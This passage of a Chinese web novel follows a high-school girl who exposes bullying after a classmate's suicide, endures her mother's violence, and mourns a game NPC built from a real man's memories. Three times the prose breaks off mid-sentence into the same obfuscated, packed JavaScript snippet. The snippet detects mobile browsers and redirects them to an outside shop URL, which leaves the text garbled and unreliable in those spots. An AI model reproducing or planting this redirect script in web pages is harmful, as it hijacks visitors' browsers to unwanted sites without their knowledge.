“就是那个位置吧,听说跳楼自杀的男生。” “怎么学校也不放两天假。” “后面站的不是高三新转来的那个转校生吗,她不是学霸吗,怎么被罚站了。” “你别小看,她可英雄了哦,今早顶上热搜的新闻你看没,就是她举报的她们班校园霸凌,太牛逼了,全班都快恨死她了吧。” “校园霸凌?不就打闹么,用得着这么上纲上线?” 讨论最热烈的那个男生,她上次在教师办公室见过,叫什么赵永康的,是传谣传舆论的一把好手。 韩思低下头看鞋尖,只觉好烦。 这样的日子持续了五天。 五天里潘刑都没有来上学,听说是被家里人关禁闭了,又听说他周四晚上翻墙跑出去了。 校内的舆论尚把她放在火上烤,社会的舆论竟也开始向天平的另一端倾斜。 七中高三生跳楼自杀事件的热度渐低,也有不少人提出了不同意见。 在班级里带录像机,你们都没想到这是什么居心吗。 这女生面相看着就很狡诈。 诸如此类的议论纷纷是堵不住的,当一个人笃定另一个人有罪时,任何的辩解都会被忽视被歪曲。 第五天放学回家的路上,她倚在车窗沿上反复回想李轩玉的劝诫,思考要不要干脆向母亲坦白,再恳求她在自愿居家读书上签名。 长久地遭受校园暴力,暂不提会不会崩溃,她的成绩也一定会一落千丈。 母亲很希望她能考上好大学,应该会答应自己的请求吧。 门锁转动,应声打开。那个女人竟坐在客厅沙发上,昏暗逼仄的环境,没有开灯。 韩思酝酿着开口,只见女人站起身来,大步向前,重重的巴掌落下。 变故来得太快,以至于反应过来的时候,脸上已经传来火辣辣的疼痛。 “你是不是有病!我真是造孽了生下你!” 她无声地低垂下头,手指攥紧校服衣角,悄悄咽下刚组织好的话语。 女人苍老的面孔扭曲,也不过是四十多碎的年纪,皱褶细密地聚集,她忽然崩溃痛哭:“我真是前世造大孽了……为了生你老公跑了,工作丢了,生下你来,你还总是给我没事找事,不知道报恩我就算了,我怎么就这么苦啊……” 很难得,这次似乎仅仅一个巴掌就结束了。 韩思习以为常地用余光偷瞄了眼女人,犹豫要不要递上纸巾。 “你说你犯什么贱呢?偏偏要举报你同学,你不知道他家里很有钱吗?你不知道他家是大领导吗?你不知道我们家已经没有钱了吗?” 声泪俱下的控诉,多少让韩思捋清了点头绪。 “你除了会用老娘的钱,你还会做什么?!要是我被开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235263|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你弟弟怎么办,他还小……” 女人痛苦地抓挠头发,看韩思不为所动的样子,更是气上心头,随手不知道抓了什么就往她身上砸,尖叫着:“我看你以后还敢不敢说,敢不敢逞英雄,我看你以后还敢不敢,就你最行,就你最厉害,别人都不说就你去说——” 韩思想躲但没躲开,下意识捂住头。 除叮叮当当的琐碎小物件外,还有个厚重的烟灰缸砸落地上,发出沉闷的声响。 命运总是屋漏偏逢连夜雨,她不禁怀疑自己究竟有没有幸运过。 烟灰缸正好砸在胸腔,痛得她蹲下身蜷曲,呼吸不稳手脚冰凉。 “装什么装,装这副鬼样子给谁看。” 但眼前蜷缩的少女面色苍白,疼痛似乎不是演的,惊慌让女人回神些,她匆忙撂下话:“总之这套房子我卖了,还有你柜子里不知道什么游戏设备我也卖了,也不知道你个死白眼狼哪里来的钱,有钱也不知道给家里点,去买游戏设备,反了天了。” 韩思用力闭眼,强打起精神回复:“这套房子是外婆留给我的,你不要卖,它也不值钱。” 这里是老人临终前给她留下的最后留念。 很久很久以前,外公外婆还有很小很小的她,在这里拥有过一段温馨童年时光。 外公老抽烟,不过自打记事起,就从来没在她面前抽过,他抽烟一靠近就要被外婆拿扫帚抽,她说死老头二手烟危害懂不懂?你早死就死我们小思要长命百岁的。 所以外公买的那个烟灰缸,几乎没怎么用过。 还记得后来的一天,老人说,小思啊,这里师资太差学风不好,你还是去市里读书吧,千万不要像你妈那样,被人带坏了就一蹶不振。 两位老人拿出自己养老的积蓄,在市里租套破旧狭窄的老房子。 老人灰斑的老手抓着年轻嫩白的手,她说小思,考个好大学,再找个很爱很爱你的人,我们老了不能一直陪你,但等你有很多很多的钱了也一定要记得回这里再看看奶奶。 小思你要好好读书,要是考上S市的好大学,请你奶奶去看看大城市,好不好啊。 世界安静瞬息,又狂风骤雨。 “不值钱?你说这套房子不值钱?你真能耐啊你?” 韩思百口莫辩。她低声恳求:“不是……但至少别卖。” “谁说给你的?法律规定就是给我的,凭什么要给你个小屁孩?我卖了就是卖了,高考完立刻滚出去,成年人有手有脚什么活做不了?不要让我再看见你。” 通知不是商量,毫无余地可言。 女人摔门扬长而去。 韩思脱力般跌坐在地上,在这座南方小城,气温回升总是姗姗来迟,地砖冰凉。 坐着缓神大概有半个多小时的功夫,天色昏暗彻底,外头几盏零星的路灯亮起。 摸出手机想看时间,却有条消息映入眼帘。 -想我了没。 手指在键盘上敲下几个字,最后又删除干净。 她不把这些鸡零狗碎的腌臢事都给零零零听。 -看见了也不回吗? 对面相当孜孜不倦:我有个很不幸的消息要告诉你哎。 -你听了不要哭啊。 -真的相当不幸,你做好心理准备。 韩思沉默半晌,她无奈地想着不幸总是一桩又一桩接连不断,最终拗不过对面那位话痨机,打字回:我也有个不幸的消息。 我决定不上游戏了,专心高考。 零零零可能会困惑,也可能会不理解,也可能会生气……想了种种反应,然而他回得很快乐。 -太好了,是同一个坏消息。 -那就不是坏消息了。 45. 扑火(5) 翌日是个太阳高照的艳阳天,照例怀揣着不安卡点到班级,见到后排潘刑的座位是空着,又松口气。 然而整个早自习里都透着股压抑,还有不少频频投来的视线,和两周多前从云舒跳楼自杀的那天很像。 整整一个晨间都没人故意扔她试卷在她桌子上泼水,虽然仍有人窃窃私语看不惯她,但明显没那么过火了。 肯定有什么事情发生了。 但她没有人可以问。 韩思有些烦躁地做了几道题,习题册翻到最后一页,对完答案发现几乎是做几道错几道。 不由地有些绝望,余光瞥见那个空座位,想到也难怪从云舒成绩不佳了,在这种被欺凌被议论的糟糕境遇里,很难集中精神在学习上。 照这个状态继续下去,她考上S市大学的希望也很渺茫。 趁大课间的功夫出去倒水,李轩玉忽然来回张望,欲言又止的模样似乎有事要讲。 韩思倒完水又在边上掏出高考英语词汇手册,索性没回班级,朝行政楼的方向走去。 李轩玉果不其然跟上来。 几乎是走到走廊尽头了,距离高三那层楼有着相当远的一段距离才停下。 “你运气还真好。”李轩玉眉飞色舞,“潘刑出事了,他至少今年来不了学校” 韩思止不住惊讶:“潘刑出事了?” 李轩玉没卖关子,只是这消息足够重磅,以至于韩思需要点时间才能消化。 “不是说他翻墙溜出家门吗,结果摔脑门了,现在还在医院呢,听我爸说还有植物人的可能性,我刚听到也不敢相信呢。” 李轩玉说着有种大仇得报的快乐,喜上眉梢:“可算是善恶到头终有报了。他活该,怎么没给他直接摔死得了。” 韩思知道这是个好消息,她也该表现得很高兴才是,可是她好像忽然忘了该怎么开心。 最终勾起笑容,淡淡道:“从云舒要是多坚持两天就好了。” “从云舒要是没死,大概也不会有这事。”李轩玉耸耸肩,“虽然这话是不好听了点,一命还一命吧。” 因果报应这些事,谁又说得清楚呢。 “不够还吧。”韩思叹口气,糅杂在一块的情绪就像堵在胸口的石头。 “不要想这些了韩思!”李轩玉猛地双手拍拍她的肩头,“向前看!潘刑不来学校,其他人应该也不会对你咋样了!他们身后可没人兜着。你这精神状态怎么高考啊大学霸。” 是啊她还要好好高考。 还有个和零零零莫名其妙的约定。 韩思深呼吸一口气,点点头。 上课铃清脆打响。 “上课了,你说我们跑这么老远干什么。”李轩玉刚打算转身走回教室,衣服却被人抓住。 韩思低声说:“当时我们在S市研学旅行,还录过一次潘刑打从云舒的视频你还记得吗?” 少女另一只手里是蓝色的高考单词词汇手册,手指用力,捏得很紧。 “当然记得啊。” 韩思秀气的眉毛有些蹙紧:“也许,项链不是从云舒想要偷的。” “有什么差别吗?监控指纹证据确凿,就是从云舒本人偷的项链。别琢磨了,你就不想让这事儿赶紧过去吗?”李轩玉不太能理解韩思这么钻牛角尖的原因,嗤笑道,“莫非被孤立上瘾了?” 韩思松手,没做声。 如果再来一次选择,要不要再一次那么做呢。 分明知道会被报复,分明知道后果,分明知道即将被赶出这个家里流落街头。 可是再不管的话,这件事热度彻底过去,会不会就再也没有平冤昭雪的一天。 当天晚上,韩思还是把那段录像传给警方。 眼看发送进度从零开始一点点爬升,她觉得零零零说对了一半。 她这样的人就算勇敢了,也不会是他那样的落落大方,而是成为明知山有虎偏向虎山行的蠢货。 也许她的运气其实也没那么差。 很多时候只要再坚持下,事情总会迎来峰回路转,柳暗花明。 可能是潘刑出事后的连锁反应,就像是话本剧情里的反派被打败以后,连带着舆论气运也都会向另一方倒去。 第二天中午,七中校园暴力又上了热搜,这次不仅仅是省里的热搜,毕竟这关系到近期最关切的校园恶性事件,传播迅猛程度甚至都无法被人及时压下,仅仅一个小时的功夫,引起全网沸腾。 那段录像被转载过十万浏览过一亿,几乎就是证据确凿坐实校园暴力,网民义愤填膺地扒出学校黑历史,官方也顺着这根藤往下挖,结果越挖越有,包括不限于校长作风不正,潘刑家族企业偷税漏税。 天平恢复公平,正义来得如此之迅速,下午又有警方来调查此事,上次来过的那位年轻警察这次面容严肃地走完所有程序。 当第一个人因为恐惧,心理承受不住压力点头承认罪行,就会有接二连三的人跟着放弃没有意义的撒谎。 嘻嘻哈哈的表情一扫而光,留下的只有惊恐和悔不当初。 有的人还在心存侥幸:“真的就只是和他玩玩而已,没那么严重吧。” 也有的人连声告饶:“我也是被迫的,谁帮他谁就要被排挤。” 虽然是不是真的悔过无从考究,因为出于对高三生的考量,量刑也都轻了些。 不过至少这会成为了他们人生中无法抹去的污点之一,霸凌者将永远也无法摆脱曾经犯下过的罪行。 一周安稳地度过。 在周五的那天,从云舒偷项链那事又被翻出来,成为来来往往的学生老师嘴中的话题。 幸好大多人都是明事理的,知道这事儿和被盗窃项链的沈老师无关,沈老师也请了长假,不然这事儿二次发酵又是对她的一次残忍鞭挞,明明事情发展成这样并不怪她。 也不知沈老师后续会不会彻底丧失对教育事业的热爱,韩思作为她喜欢的学生之一,对她会遭受的心态影响也心生愧意,犹豫再三不敢打电话叨扰,最终还是发了条慰藉的短信过去。 官方流出来的录音被特殊处理过,能清晰听见除了殴打之外的交谈声,这里正是韩思反复聆听视频发现的端倪。 “我就说呢,那个七班的从云舒胆子那么小,果然是在潘刑的指使下才偷的项链。” “潘刑也太坏了吧,还用这事儿威胁从云舒。” “要不是……他也不会跳楼自杀,偷项链虽然不好,但也罪不至死啊。” “太可怜了。” 虽然微不足道,虽然希望姗姗来迟,想看见希望的人已经被溺毙在天明之前,但幸好天理昭昭,沉冤仍有昭雪之时。 与之同时夹杂着的,有些发自肺腑赞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285907|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹韩思有勇气的,也有些痛骂学校不做人事的,当然还有今天中午食堂饭菜好难吃,能不能一起举报了;《仙缘》那个游戏最近停服维护好频繁,不会跑路了吧。 总之事情好像都在往好的方向发展。 放学路上,韩思拍拍000头像框,他还是那般厚脸皮的语气。 -汉斯小姐总算愿意回我消息了[流泪猫猫头] 最近的天气连天气预报都拿捏不准,早上还是艳阳高照的晴天,晚间乌云密布酝酿风暴。 她顺手拍了张天空的照片发送,说道:要下暴雨了。 对面秒回 -带伞了吗? 带了。 倚靠车窗,见夕阳渐落。 三个月的时间说长却眨眼而过,这段日子除开和零零零聊天有一搭没一搭的外,只剩下努力学习两点一线的生活。 自从校园暴力被狠狠抓过一轮,该记过的记过,该少管所的少管所,虽然暗地里记恨扭曲的也有,但再怎么胆大妄为也都不敢明面上惹是生非,尤其是招惹某个胆子很大甭管谁都敢举报的‘韩思’。 对她而言,这三个月也算彻彻底底地安生。 不过该说不说有一点很奇怪,零零零不知咋想的,可能想打造高冷的人设,这次重新加上好友后,说话密度骤降,完全不见曾经话痨的本色。 基本只有韩思问,他才会回。 韩思不得不思考也许是NPC太忙了,也有可能是另有“新欢”。 毕竟判断一个人机渣不渣是一件前无古人的事情,也没个衡量标准的。 秉持高考第一的原则,无关紧要的好奇都被忙碌的学习生活强行按下去,大不了等高考完再当面质问他,一刀两断也等高考完再说。 当春天进入尾巴,带点儿汽水的风开始在这座小城吹拂,最后一门考试结束后校外挤着熙熙攘攘的家长,或忧愁或喜悦,无一例外透着紧张。 韩思和李轩玉有点缘份在,两人分配到同一个考场,故也一起搭伴出来。 刚出门未过多久,就见两人径直走来,和韩思打了声招呼,男人又顺手接过李轩玉肩头的包,显而易见是李轩玉的家里人。 韩思礼貌打招呼说叔叔阿姨好,又偷偷打量几下。 两位家长仪表堂堂,看似随意的休闲风格,衣服却都熨贴得笔直,看不出一丝褶皱,确实有手下掌管好些家企业的董事长风范。 李轩玉妈妈手上还捧着大束的精致鲜花,向日葵为主的暖色调,艳丽的颜色温暖动人,手捧金榜题名花束的家长还真不少,不过这么大的也是少见。 雪梨纸沙沙作响,女人想把花想塞到李轩玉怀里,却被李轩玉躲闪掉:“妈,你买花干啥。” 第一次见李轩玉脸上闪过拘束窘迫的表情。 她妈妈又硬塞:“送你啊还能干啥,扭扭捏捏啥?怎么没考好心慌了?” 来来去去的推搡,花朵有些歪歪扭扭。 不得不说她们母女两的脾气还真像。 韩思轻巧地抽开身,微笑知趣道:“那李轩玉我先回去啦,叔叔阿姨再见!” 李轩玉匆忙抬头摆手告别,又低头和她妈妈不知道在说些什么。 夕阳在迫近地平线,不过六月头上的气温到底在这个南方小城升高太多,懒洋洋的阳光洒落身上,温暖得难怪向日葵要追着阳光跑。 46. 扑火(6) 夕阳迫近地平线,比起初春来,六月头上的气温到底在这个南方小城直线升高,懒洋洋的阳光洒落身上,温暖得难怪向日葵要追着阳光跑。 马路对面站着约莫十来岁的年轻女孩,手里也捧着大束鲜花,隔着段距离看不真切,依稀是蓝白交替组成,灵动铺开成一片,煞是好看。 正猜想花的种类,抬眼恰好和那女人的目光碰撞,又见她忽然抬起手猛猛招手,估计找到了刚走出考场的亲朋好友。 韩思便匆匆收回视线,又看时间差不多,公交车即将进站。 “韩思?你是韩思吗?” 猝不及防地被叫住,怔愣回头,那名女孩小跑过来,刚在远观欣赏的花束此刻就在眼前热烈绽放,几乎占满视野。 “你是韩思就好,这是你朋友给你订的花。” 花束被递出,然而还没回过神的韩思没伸手,傻傻地问了句:“给我的?” 那人被反问得也懵了,手机翻出来张照片当场比对:“我看照片认的,应该也没同名同姓吧,是你吧?” 韩思也凑过去看眼,是张不知道什么时候的偷拍,背景貌似是她的卧室,灯光微暗,镜头里的少女在认真做题。 “好像……是。” 微蹲下身从那人手中接过花束,手指轻轻碰上牛皮色雪梨纸包装发出些微声响,看着巨大的花束果不其然着实有些份量,都不知道该怎么拿住,又生怕用力了会扯伤花朵,束手束脚得都被对面看出来了。 “没那么容易坏。”她说。 但韩思还是谨慎地用手臂轻柔箍住,只见印着“生日快乐”的精致卡片后头,是争先恐后开放的蓝白色小花朵,像极一只只即将翩跹飞出的蝴蝶。这下凑近了瞧,能看出花束主要由两种花组成,其中一种比较眼熟,似乎是…… “这是鸢尾花吗?” “嗯。蓝鸢尾和小飞燕,客人特定要求的,我们店本来都不进这个品种的,你别看它价格比德国蓝鸢尾低得多,花期又短又容易掉,凑上一大束品相好的挺不容易,别说效果还真不错。” 韩思笑着道谢:“是好看,谢谢啦。” 对面那女孩也笑:“你谢我做什么,谢你男朋友吧,他在你高考前三个月就筹备了,给够我们时间挑到最合适的花。” 她又眨眨眼,调侃道:“不过也有好处啦,早恋很难被学校发现~” 不是男朋友。 怎么老是被误认成男朋友。 听那人说着,韩思刚想小声反驳下,正好也见花束的里头竟还夹着张卡片,她腾出手小心翼翼地夹出。 对面女孩面色陡然尴尬地解释:“诶呀真不好意思,忘记拿出来了,客人一开始说写这张,后来又说换一张,怎么写错的这张也掉进去了……” 只有寥寥几字,看清卡片上字的第一时间,韩思把它给塞回去,塞到缝隙的最底端。 趁脸红透丢人前,她赶紧摇头,逃也似的:“没事没事!我先走了!!” 结果还是错过了这辆公交,又多等接近一个小时,回到家已经是夜幕低垂。 卧室静谧,小台灯散发温柔的微光,大捧蓝白色交替的花束犹如星星点点的蝴蝶,勾勒出细碎金边,安安静静地伫立在书桌上漂亮绽放,如同少年的明眸善睐。 聊天记录的最后一条是2h前,接连不断地发去了二十来条无一条秒回,就好像再也不会有回音。 搜到《仙缘》三个月前的一次新闻,内容相当朴实凝练,据说是游戏NPC出现故障攻击玩家,差点电死玩家,因为是接入式游戏,甚至导致有人因此昏迷成植物人。 印象里好像是有游戏停服整顿这件事,算算时间是她正焦头烂额被欺负结果潘刑意外出事的档口,所以也没太关心游戏上的事情,如今关于那件事却只有寥寥几条讨论,似乎被无形力量压了下去。 不安感逐渐强烈,直到—— 她拐进趟隔壁的网吧,以结束高考成年人的身份光明正大地推门而入,却慌慌张张地像是丢了重要东西的孩子。 刚登游戏没有,等待半个多小时也没有,找遍游戏也没有。 三个月里其实无数次怀疑聊天框对面是不是他本人,最终忍不住带着隐约的不安“你不会真成人机了吧”,得到对面秒回“别咒我”的轻松回答才放下心。 此刻竟无法再自欺欺人。 走回百花谷的时候,恍惚见少年停留在树下,他见爱人来,转头笑吟吟地:“我就知道你那么聪明,不会一直被我蒙在鼓里,不过001挺像我的吧,Ai学习能力还是很强大的,唬你三个月不成问题。” “心事藏着累不累,还是怨我总叫你胆小鬼?怎么就不信我还是可以替你兜底的。” 少年伸手,温热的指腹似乎在轻柔擦过脸颊,他轻声说道:“汉斯小姐,我们会在未来重逢的。” 他消失在三个月前。 她连道别都没好好说。 。 这片梧桐路到了秋天想必会很好看,可惜夏天阴凉的夜晚总有种森然,哪怕有一盏盏的路灯明亮,一只只围绕着盘旋的飞蛾像是要燃烧成灰烬。 气氛奇怪,尤其是边上还跟着个奇怪的男人。 “你叫林参对吧,天星集团的下一位董事长?”韩思深吸一口气,“不好意思,我不知道你需要这些数据来干什么,但觉得我还是……无可奉告。” 亦步亦趋保持半步之遥的林参,闻言猛然步伐停滞。 “游戏爱停服停服,项目组爱砍不砍的,这都和我有什么关系。人都向前走,怎么会被个无聊的小游戏绊住。”她语气烦躁,索性一鼓作气全说完,“你别看我登陆时间长就调查我了,我回去了。” “等等……”林参万年不变的脸上闪过错愕。 韩思锁着眉头转头,看他欲言又止,便发出警告:“再追我真的报警了,你有钱又体面,犯不着和我半夜去警察局录笔录。” 林参果然停下脚步,他低声道:“好。” 碰见林参的地方本来就离家很近,走过梧桐道又进小区,徐莨的电话打来。 “你不是之前说,听说《仙缘》收集个人信息供NPC发展吗?还真被说对了,不知道被谁举报的,经济纠纷贪污都算小事了,听说还涉嫌搜集个人隐私信息进行违法实验,压都压不下来,明天铁定上热搜头条。” 韩思动了动唇,却什么都没说。 这和她猜的八九不离十。 徐莨说到这也颇恍然大悟:“难怪我说呢,怎么偏偏就《仙缘》的npc能做得这么真实,原来是提取了现实人的记忆性格,再进行分析。” “他们是怎么找到机会提取人记忆的呢?医院吗?游戏吗?我之前也玩过,我不会也被提取了吧,不要啊……” 零零零,一个提取林参的人生而创作出来的数据。 “既然查出来了,就一定会彻底销毁数据库的,不用太担心。”韩思嗓音像是夏日里晚风,平淡却能抚过焦灼的心。 会销毁的。 “阿渝说明天就销毁,想想还有点点可惜,不过这些NPC左右不过是虚拟数据啦,又不是真的生命,还是现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314733|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实重要啊。” 韩思仰头看不远处有什么在路灯下振翅,漂亮的黑蓝洒金翅膀,在一众飞蛾里惊鸿般亮眼。 她忽然又道,“电子蝴蝶一样的生命。” “什么蝴蝶?我在开车接阿渝下班的路上,听不太清,这事情搞得,阿渝也被迫加班到凌晨。” 徐莨那头的电话背景嘈杂,不过幸好她嗓门大:“韩姐天星要是真因此倒台了,你要不来我爹公司吧,虽然规模没天星那么大,工资可能也比天星少一点,不过肯定没现在那么累。” “好啊。” 挂断电话,上楼回家。 合上家门,手机屏幕划到陈岁安一个多小时前发来的陈年截图,约莫是六年前。 大概今晚过去,这世界上就再也无《仙缘》。无论是抱着怀念再看过去、还是酝酿向前走的勇气,虽然说不清自己心情是哪一种多一点,但她总要跟着截图所指的方向,登陆很久未见的游戏。 六年前是百花谷最后一次登出,如今登陆也在百花谷,只是除去机械走动的NPC外,已经没有活人在线。 虽说游戏后面又历经不少的大更新,但基本操作没变化,她也不想在这空荡到让人心惊的游戏里行走,索性使用坐标传送。 闭眼睁眼,愈发漆黑寂静的环境,只有一个光源。 少年漂亮张扬的容貌一如当年,因为数据不会随着岁月变迁,他见熟悉的人来,唇角勾起笑容,猛然凑近突脸杀。 韩思后退半步。 原来这个坐标点是‘小黑屋’内部啊,拽他出去抓飞蛾曾惊鸿一瞥过的。 犯欠得逞,他得瑟一笑,声线清爽,“怎么才来,幸好数据不会枯萎变质。” 还没听懂他那话是何意,就见漆黑的周遭霎那间升腾起星星点点,竟似数以万计的小蝴蝶漫无目的地纷飞,万万千千的翅膀同时震动,掀起微风吹动衣角。 韩思随手虚抓了把,摊开手,有些是用树叶编折的,有些是薄薄的花瓣,也不知道那么薄的花瓣折起来得多灵巧,才能不毁坏。 落在手上的小蝴蝶们又扑棱翅膀,一点一点地挤入漫天萤火的队伍。 在记忆的角落里,似乎他经常在等待自己做题时,百无聊赖地拔花拔草,草木在他灵巧修长的手指里纷飞。 原来是做这些吗? “小飞燕很像蝴蝶吧,我也觉着像,可惜游戏里没有。” “生日快乐啊,汉斯小姐,今天送你的花束不丢人吧。” 原来不仅是样貌,就连记忆都保存在六年前。是原先就设定好的程序吗?既然都做好了这个惊喜,又为什么当时没让陶珏告诉自己呢。 韩思有些恍惚。 少年笑吟吟地歪头,故意模仿001的语气说话:“我看见你嘴角上扬了1.2mm,瞳孔放大了0.76mm,脸颊温度上升了0.9°C,心率加快了32bpm且不稳定。” 在韩思低头摸上自己脸颊的困惑里,他自顾自说着。 “根据数据推算,你的下一步是告白。” 告白么。 少女轻轻摇头:“我恨你。” 没得到意料中的答案,他眉间微挑,不知是佯装还是真实,显得有些惊讶,琥珀色瞳孔湿漉漉的,委屈抗议:“怎么会呢。” 韩思想指责想质问想知道真相,满腔的话语沉在喉咙,却不知道到底该说什么,开口成了件艰涩的事。 少年的尾音轻又坚定,像是蝴蝶在飞,随着风摇摇曳曳:“不过没关系,我爱你。” [正文完]